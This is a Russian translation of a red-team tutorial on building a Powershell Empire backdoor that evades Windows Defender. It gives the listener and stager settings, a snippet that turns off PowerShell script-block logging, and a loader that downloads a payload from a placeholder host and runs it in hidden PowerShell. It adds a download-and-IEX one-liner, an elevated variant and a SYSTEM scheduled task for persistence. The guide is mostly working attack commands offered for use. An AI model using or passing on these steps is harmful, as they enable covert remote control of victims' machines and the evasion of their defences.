Перевод: Руководство RED TEAM - #3
@Ent_TranslateIBОбход защитника Windows — Empire edition

Темы:
- Установка Empire
- Магия, чтобы избежать обнаружения
- Вперед, вперед, вперед!
Обход Защитника Windows
В прошлом месяце я написал две статьи о правильном использовании SSL с помощью Powershell Empire и SSL с помощью Meterpreter. Только это (и некоторые другие техники) позволило нам обойти большинство антивирусных продуктов. Однако с некоторых пор Windows Defender, похоже, стал намного умнее и способен обнаруживать эти техники. Это руководство поможет вам создать рабочий Empire бэкдор, который не будет обнаружен Windows Defender.
1. Установка Empire
Ниже вы увидите, как я использую опции SSL, которые могут потребовать некоторых пояснений. Для объяснения, пожалуйста, прочитайте Red Team Tutorials #1 и Red Team Tutorials #2, упомянутые в предыдущем параграфе.
Загрузите Powershell Empire! И выполните следующее, чтобы получить базовую полезную нагрузку, которую мы немного изменим.
listeners
uselistener http
set Name https
set Host https://YOURDOMAINHERE:443
set Port 443
set Launcher powershell.exe -nop -w hidden -e
set DefaultProfile /wp_includes/microsoft.php|Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36|Accept:*/*
set CertPath /opt/ssl/
set Headers Server:nginx
set UserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
execute
После этого установите stager:
listeners
usestager multi/launcher
set Listener https
set Base64 False
set Obfuscate False
set SafeChecks False
set UserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
set AMSIBypass True
execute
В результате вы получите полезную нагрузку (которую мы будем редактировать на следующем этапе), выглядящую следующим образом:

2. Магия, чтобы избежать обнаружения
Полезная нагрузка, которую вы получили в результате предыдущего шага, представляет собой так называемый однострочный файл.
В дальнейшем, после получения полезной нагрузки на нашей цели, наш загрузчик будет пересылать ее построчно в скрытый экземпляр powershell, поэтому сначала мы должны внести некоторые изменения. Это очень важно, поэтому будьте внимательны:
Антивирусные программы обнаруживают бэкдоры с помощью искусственного интеллекта, анализа поведения и сопоставления (частей) кода с сигнатурами. Эти сигнатуры содержат ключевые слова, и если (комбинация) ключевых слов встречается в файле, сохраненном на диске, или в запущенной программе, антивирусное программное обеспечение предупредит пользователя и попытается удалить злополучный файл или программу. Почти все антивирусные программы обнаружат и отработают вышеуказанную полезную нагрузку, поскольку она содержится в одной строке (или в одном файле, если вы сохраните и запустите его). Сочетание, например, слов [SYsTem.NeT.WEbREquest] и [SYStem.TEXt.ENcOdiNg] может дать понять антивирусу, что это бэкдор Empire.
Хитрость здесь заключается в том, чтобы выполнить каждую строку по очереди, для чего нам нужно немного подкорректировать полезную нагрузку. Для этого я использую свой любимый текстовый редактор Sublime Text. Для каждого ; в полезной нагрузке я заменяю его на ; + перевод строки. Теперь полезная нагрузка будет выглядеть следующим образом:

Почти на месте
Эта модифицированная полезная нагрузка по-прежнему будет вызывать срабатывание Windows Defender. Последняя часть, которую необходимо изменить, - это удаление части полезной нагрузки (в приведенном выше примере от строки 72 до части строки 77):
IF($ffF6){$b9be=$fff6.GETVaLUE($nulL);
IF($b9BE['ScriptB'+'lockLogging']){$b9be['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
$b9BE['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$vaL=[COllectiONs.GeneriC.DIcTIonARY[StriNg,SysTem.OBJecT]]::New();
$VaL.ADd('EnableScriptB'+'lockLogging',0);
$VAL.AdD('EnableScriptBlockInvocationLogging',0);
$B9Be['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$vaL}ElsE{[ScRiPTBLOcK]."GeTFIe`lD"('signatures','N'+'onPublic,Static').SEtVALUE($Null,(NEw-ObjEct COLLeCTIoNS.GeNERIc.HaShSET[strInG]))}
Конечный результат:

Сохраните этот файл как payload.ps1 и используйте файл полезной нагрузки с помощью веб-сервера, например Apache, nginx или модуля http.server в python.
3. Вперед, вперед, вперед!
Хорошо. Empire запущен, и у вас есть готовая полезная нагрузка. Осталось только создать небольшой Powershell-скрипт, который будет получать полезную нагрузку и выполнять ее построчно. Этот шаг очень важен, поскольку однострочный сценарий, который мы будем использовать в последнем шаге, должен получить и выполнить этот "загрузчик" в памяти.
Создайте новый файл рядом с полезной нагрузкой под названием loader.ps1 со следующим содержимым:
$file = (New-Object
System.Net.WebClient).downloadString('http://YOURDOMAINHERE/payload.ps1')
foreach($line in $file)
{
$line | powershell -nop -w hidden
}
Осталось только выполнить однострочный удар по цели!
powershell.exe -nop -w hidden (New-Object System.Net.WebClient).downloadString('http://YOURDOMAINHERE/loader.ps1') | IEX
Вот и все! Это должно было обойти Windows Defender и большинство антивирусных программ. Хорошая работа!
ДОПОЛНЕНИЕ 1: ПОВЫШЕНИЕ
Если целевой пользователь является локальным администратором, откройте повышенный powershell следующим образом (если у вас нет графического интерфейса):
start-process PowerShell -verb runas -ArgumentList "-nop -w hidden (New-Object System.Net.WebClient).downloadString('http://YOURDOMAINHERE/loader.ps1') | IEX"
ДОПОЛНЕНИЕ 2: ЗАДАНИЕ ПО РАСПИСАНИЮ
- Откройте планировщик задач
- Создайте базовую задачу
- Действие: Запустить программу
- Тип powershell.exe
- Добавьте аргумент:
-nop -w hidden (New-Object System.Net.WebClient).downloadString('http://YOURDOMAINHERE/loader.ps1') | IEX
Настройте задачу, добавив свои собственные триггеры, но не забудьте изменить пользователя на SYSTEM (если у вас есть на это права).
Перевод статьи был выполнен проектом перевод энтузиаста:
- 📚 @Ent_TranslateIB - Телеграмм канал с тематикой информационной безопасности
- 🔥 @Ent_Translate - Инстаграм проекта